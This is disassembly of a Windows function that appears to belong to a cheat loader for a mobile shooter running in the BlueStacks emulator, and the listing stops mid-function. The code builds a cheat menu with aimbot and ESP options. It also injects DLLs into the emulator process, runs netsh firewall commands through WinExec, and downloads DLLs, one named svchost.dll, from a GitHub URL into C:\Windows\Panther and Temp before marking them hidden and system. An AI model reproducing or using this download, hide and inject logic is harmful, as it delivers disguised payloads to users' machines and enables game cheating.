Function at 0x14006b510
Capabilities:
Create process on windows
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rax - 0x148]
sub rsp, 0x220
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm9
lea rax, str.SharedMemory
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x400
xor r9d, r9d
xor edx, edx
mov rcx, 0xffffffffffffffff
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [0x140169338], rax
test rax, rax
jne 0x14006b5a8
lea rdx, str.Could_not_create_file_mapping_object:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140055ba0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14006d49c
lea r8, str.SharedMemoryMutex
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [0x140169330], rax
test rax, rax
jne 0x14006b60e
lea rdx, str.Could_not_create_mutex:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140055ba0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140169338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006d49c
mov rax, qword [0x140169300]
mov dword [rax + 0x4a20], 0x43fa0000
mov dword [rax + 0x4a24], 0x43c80000
mov dword [rax + 0x4a08], 1
or dword [rax + 0x4a00], 3
xor ebx, ebx
mov qword [rax + 0x4a10], rbx
mov qword [rax + 0x4a18], rbx
mov dword [rax + 0x4a04], 1
xor edx, edx
mov r8d, Ordinal_60
lea rcx, [0x1400d5b64]
call fcn.1400119c0
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
xorps xmm6, xmm6
addss xmm1, xmm6
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm6
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
mov edx, 0xff1e1e1e
mov ecx, 6
call fcn.1400068f0
mov edx, 0xff141414
mov ecx, 3
call fcn.1400068f0
mov dword [rbp + 0x150], 0x429a0000
mov dword [rbp + 0x154], 0x44244000
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
lea rdx, str.tabmenu
mov rcx, qword [rcx + 0x4000]
call fcn.140009e50
mov dword [rsp + 0x20], 8
lea r8, [rbp + 0x150]
mov edx, eax
lea rcx, str.tabmenu
call fcn.14000e270
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm2, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x90]
addss xmm2, dword [0x14014542c]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm1, dword [0x14014542c]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140145b90]
movups xmmword [rsp + 0x50], xmm1
mov dword [rbp + 0x150], 0x3f800000
mov dword [rbp + 0x154], 0x3f800000
mov qword [rbp + 0x158], rbx
mov dword [rbp + 0x160], 0x42480000
mov dword [rbp + 0x164], 0x42480000
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x150]
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x160]
mov rcx, qword [0x140167de0]
call fcn.14003f170
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, dword [0x140145474]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
movss xmm9, dword [0x140145440]
addss xmm0, xmm9
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
cmp dword [0x14016932c], ebx
sete r8b
lea rdx, [0x140143cf8]
lea rcx, str.Aimbot
call fcn.140001fe0
test al, al
je 0x14006b897
mov dword [0x14016932c], ebx
jmp 0x14006b89d
mov ebx, dword [0x14016932c]
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, dword [0x14014548c]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm9
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
cmp ebx, 1
sete r8b
lea rdx, [0x140143d04]
lea rcx, str.Visuals
call fcn.140001fe0
test al, al
je 0x14006b922
mov edx, 1
mov dword [0x14016932c], edx
jmp 0x14006b928
mov edx, dword [0x14016932c]
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, dword [0x14014549c]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm9
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
cmp edx, 2
sete r8b
lea rdx, [0x140143d10]
lea rcx, str.Misc
call fcn.140001fe0
test al, al
je 0x14006b9aa
mov dword [0x14016932c], 2
call fcn.14000e4f0
mov ecx, 2
call fcn.1400069d0
mov eax, dword [0x14016932c]
test eax, eax
jne 0x14006c30e
mov dword [rbp + 0x150], 0x42b40000
mov dword [rbp + 0x154], 0x42200000
lea rcx, [rbp + 0x150]
call fcn.140019760
mov dword [rbp + 0x150], 0x433e0000
mov dword [rbp + 0x154], 0x43a00000
lea r8, [rbp + 0x150]
lea rdx, str.aimassi
lea rcx, str.Main
call fcn.1400028d0
lea rdx, [0x1401682ef]
lea rcx, str.Aimbot
call fcn.14003f580
mov byte [0x140167edd], al
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x1401682f0]
lea rcx, str.Aimbot2x
call fcn.14003f580
mov byte [0x140167ede], al
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x1401682f1]
lea rcx, str.HeadTrick
call fcn.14003f580
mov byte [0x140167edf], al
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e75]
lea rcx, str.NoRecoil
call fcn.14003f580
test al, al
je 0x14006bb21
lea rcx, [rsp + 0x30]
cmp byte [0x140167e75], 0
je 0x14006baff
lea rdx, str.Enable_NoRecoil
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006bb17
lea rdx, str.Disable_NoRecoil
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
call fcn.14004ded0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
movss xmm3, dword [0x140145484]
xorps xmm2, xmm2
lea rdx, [0x1401682fc]
call fcn.1400420c0
test al, al
je 0x14006bb69
movss xmm0, dword [0x1401682fc]
call fcn.14006a1e0
call fcn.14000e4f0
mov dword [rbp + 0x150], 0x43910000
mov dword [rbp + 0x154], 0x42200000
lea rcx, [rbp + 0x150]
call fcn.140019760
mov dword [rbp + 0x150], 0x433e0000
mov dword [rbp + 0x154], 0x43a00000
lea r8, [rbp + 0x150]
lea rdx, str.Customiz1
lea rcx, str.Tricks
call fcn.1400028d0
lea rdx, [0x1401682f3]
lea rcx, str.Block_Net
call fcn.14003f580
test al, al
je 0x14006bd11
xor edx, edx
cmp byte [0x1401682f3], 1
jne 0x14006bca1
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea r8, str.BlockNet_Ativado
jmp 0x14006bd00
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea r8, str.BlockNet_Desativado
mov edx, 0xff
lea rcx, [0x140167ee6]
call fcn.14004ede0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x1401682f7]
lea rcx, str.DisableSecurity
call fcn.14003f580
mov byte [0x140167ee5], al
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x41200000
lea rcx, [rbp + 0x150]
call fcn.140040680
movss xmm6, dword [0x140145438]
movaps xmm0, xmm6
call fcn.1400197c0
mov dword [rbp + 0x150], 0x431c0000
mov dword [rbp + 0x154], 0x41f00000
lea rdx, [rbp + 0x150]
lea rcx, str.Start
call fcn.1400016f0
test al, al
je 0x14006bf1d
lea rdx, str.C:WindowsPanther_servicescimgui.dll
lea rcx, [rsp + 0x70]
call fcn.14004df30
nop
lea rdx, str.C:WindowsPanther_servicesAotBst.dll
lea rcx, [rbp - 0x70]
call fcn.14004df30
nop
lea rax, [rsp + 0x70]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x50]
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x20]
call fcn.14006e170
nop
lea r9, [fcn.14004ded0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 2
lea rcx, [rsp + 0x70]
call fcn.1400c372c
lea rdx, str.HD_Player.exe
lea rcx, [rsp + 0x30]
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a7c0
mov rdi, rax
test rax, rax
je 0x14006bea4
mov rsi, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x20]
cmp rbx, rsi
je 0x14006be99
mov rdx, rdi
mov rcx, rbx
call fcn.14006ac10
test al, al
je 0x14006be62
lea rdx, str.DLL_injected_successfully:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x14006be70
lea rdx, str.DLL_injection_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140055ba0
mov rdx, rbx
mov rcx, rax
call fcn.140055dc0
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
add rbx, 0x20
cmp rbx, rsi
jne 0x14006be43
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14006bec1
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.The_process_HD_Player.exe_was_not_found.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14006bf01
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006befc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006befc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c36f8
movdqa xmm0, xmmword [0x140145550]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
lea rcx, [rbp - 0x20]
call fcn.14006eeb0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x41200000
lea rcx, [rbp + 0x150]
call fcn.140040680
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm6
movss dword [rax + 0x110], xmm0
mov byte [rax + 0x151], 1
mov dword [rbp + 0x150], 0x431c0000
mov dword [rbp + 0x154], 0x41f00000
lea rdx, [rbp + 0x150]
lea rcx, str.Re_install
call fcn.1400016f0
test al, al
je 0x14006c18a
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x10], xmm1
mov ecx, 0x60
call fcn.1400c3474
mov rbx, rax
mov qword [rbp], rax
movdqa xmm0, xmmword [0x140145620]
movdqa xmmword [rbp + 0x10], xmm0
mov r8d, 0x51
lea rdx, str.https:__raw.githubusercontent.com_sikibzzzzzzzza_sabdjvbayhdasxzc_main_AotBst.dll
mov rcx, rax
call fcn.14004e030
mov byte [rbx + 0x51], 0
lea rdx, str.C:WindowsPanther_servicesAotBst.dll
lea rcx, [rbp + 0x20]
call fcn.14004df30
nop
lea rdx, str.https:__raw.githubusercontent.com_sikibzzzzzzzza_sabdjvbayhdasxzc_main_cimgui.dll
lea rcx, [rbp + 0x40]
call fcn.14004df30
nop
lea rdx, str.C:WindowsPanther_servicescimgui.dll
lea rcx, [rbp + 0x60]
call fcn.14004df30
nop
lea rdx, str.https:__raw.githubusercontent.com_sikibzzzzzzzza_sabdjvbayhdasxzc_main_svchost.dll
lea rcx, [rbp + 0x80]
call fcn.14004df30
nop
lea rdx, str.C:WindowsPanther_services_svchost.dll
lea rcx, [rbp + 0xa0]
call fcn.14004df30
nop
lea rdx, str.https:__raw.githubusercontent.com_sikibzzzzzzzza_sabdjvbayhdasxzc_main_Client.dll
lea rcx, [rbp + 0xc0]
call fcn.14004df30
nop
lea rdx, str.C:WindowsTempClient.dll
lea rcx, [rbp + 0xe0]
call fcn.14004df30
nop
lea rbx, [rbp + 0x20]
nop word [rax + rax]
lea rcx, [rbx - 0x20]
mov rdx, rbx
call fcn.14006b260
test al, al
je 0x14006c126
lea rdx, str.Arquivo_baixado:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140055ba0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14006c0b4
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14005ab70
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14006c0dd
mov rcx, qword [rbx]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, str.Atributos_definidos_para_oculto_e_sistema:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140055ba0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14006c108
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.14005ab70
lea rdx, [0x140055d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14006c13e
lea r8, str.Erro_ao_processar
mov edx, 0xff
lea rcx, [0x140167ee6]
call fcn.14004ede0
add rbx, 0x40
lea rax, [rbx - 0x20]
lea rcx, [rbp + 0x100]
cmp rax, rcx
jne 0x14006c080
lea r8, str.Pronto_para_start_
mov edx, 0xff
lea rcx, [0x140167ee6]
call fcn.14004ede0
nop
lea r9, [0x14006d4c0]
mov edx, 0x40
mov r8d, 4
lea rcx, [rbp]
call fcn.1400c372c
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x41200000
lea rcx, [rbp + 0x150]
call fcn.140040680
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm6
movss dword [rax + 0x110], xmm0
mov byte [rax + 0x151], 1
mov dword [rbp + 0x150], 0x431c0000
mov dword [rbp + 0x154], 0x41f00000
lea rdx, [rbp + 0x150]
lea rcx, str.Kill_Process
call fcn.1400016f0
test al, al
je 0x14006c303
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_listen]
movdqa xmmword [rbp - 0x80], xmm1
movsd xmm0, qword [str.HD_Player.exe]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140143678]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x14014367c]
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_ioctlsocket]
movdqa xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [str.HD_Adb.exe]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x140144a78]
mov word [rbp - 0x68], ax
mov byte [rbp - 0x66], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movdqa xmmword [rbp - 0x40], xmm1
movsd xmm0, qword [str.BlueStacks]
movsd qword [rbp - 0x50], xmm0
movzx eax, word [0x140144a88]
mov word [rbp - 0x48], ax
mov byte [rbp - 0x46], 0
lea rax, [rsp + 0x70]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x30]
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x20]
call fcn.14006e170
nop
lea r9, [fcn.14004ded0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 3
lea rcx, [rsp + 0x70]
call fcn.1400c372c
lea rcx, [rbp - 0x20]
call fcn.14006af90
nop
lea rcx, [rbp - 0x20]
call fcn.14006eeb0
call fcn.14000e4f0
mov eax, dword [0x14016932c]
cmp eax, 1
jne 0x14006d2b9
mov rcx, qword [0x140169300]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm1, dword [rax + 0x2c]
subss xmm1, dword [rax + 0x90]
addss xmm1, dword [0x14014545c]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, dword [0x14014547c]
movss dword [rax + 0x110], xmm0
movss dword [rax + 0x114], xmm1
mov byte [rax + 0x151], 1
mov dword [rbp + 0x150], 0x433e0000
mov dword [rbp + 0x154], 0x43a00000
lea r8, [rbp + 0x150]
lea rdx, str.aimassi
lea rcx, str.Visuals
call fcn.1400028d0
lea rdx, [0x1401682f5]
lea rcx, str.CameraHack
call fcn.14003f580
mov byte [0x140167ee3], al
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x1401682f6]
lea rcx, str.FakeDamage
call fcn.14003f580
mov byte [0x140167ee4], al
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e76]
lea rcx, str.Stream
call fcn.14003f580
test al, al
je 0x14006c475
lea rcx, [rsp + 0x30]
cmp byte [0x140167e76], 0
je 0x14006c453
lea rdx, str.Enable_StreamMode
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006c46b
lea rdx, str.Disable_StreamMode
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
call fcn.14004ded0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e7d]
lea rcx, str.ESP_Line
call fcn.14003f580
test al, al
je 0x14006c4f6
lea rcx, [rsp + 0x30]
cmp byte [0x140167e7d], 0
je 0x14006c4d4
lea rdx, str.Enable_ESPLine
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006c4ec
lea rdx, str.Disable_ESPLine
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
call fcn.14004ded0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e7e]
lea rcx, str.ESP_Box
call fcn.14003f580
test al, al
je 0x14006c577
lea rcx, [rsp + 0x30]
cmp byte [0x140167e7e], 0
je 0x14006c555
lea rdx, str.Enable_ESPBox
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006c56d
lea rdx, str.Disable_ESPBox
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
call fcn.14004ded0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e7f]
lea rcx, str.ESP_Corner
call fcn.14003f580
test al, al
je 0x14006c5f8
lea rcx, [rsp + 0x30]
cmp byte [0x140167e7f], 0
je 0x14006c5d6
lea rdx, str.Enable_ESPCorner
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006c5ee
lea rdx, str.Disable_ESPCorner
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
call fcn.14004ded0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e82]
lea rcx, str.ESP_Distance
call fcn.14003f580
test al, al
je 0x14006c679
lea rcx, [rsp + 0x30]
cmp byte [0x140167e82], 0
je 0x14006c657
lea rdx, str.Enable_ESPDistance
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006c66f
lea rdx, str.Disable_ESPDistance
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
call fcn.14004ded0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e83]
lea rcx, str.ESP_Skeleton
call fcn.14003f580
test al, al
je 0x14006c6fa
lea rcx, [rsp + 0x30]
cmp byte [0x140167e83], 0
je 0x14006c6d8
lea rdx, str.Enable_ESPSkeleton
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006c6f0
lea rdx, str.Disable_ESPSkeleton
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
call fcn.14004ded0
mov dword [rbp + 0x150], 0
mov dword [rbp + 0x154], 0x400ccccd
lea rcx, [rbp + 0x150]
call fcn.140040680
lea rdx, [0x140167e81]
lea rcx, str.ESP_Health
call fcn.14003f580
test al, al
je 0x14006c77b
lea rcx, [rsp + 0x30]
cmp byte [0x140167e81], 0
je 0x14006c759
lea rdx, str.Enable_ESPHealth
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
jmp 0x14006c771
lea rdx, str.Disable_ESPHealth
call fcn.14004df30
nop
lea rcx, [rsp + 0x30]
call fcn.14006a0e0
nop
lea rcx, [rsp + 0x30]
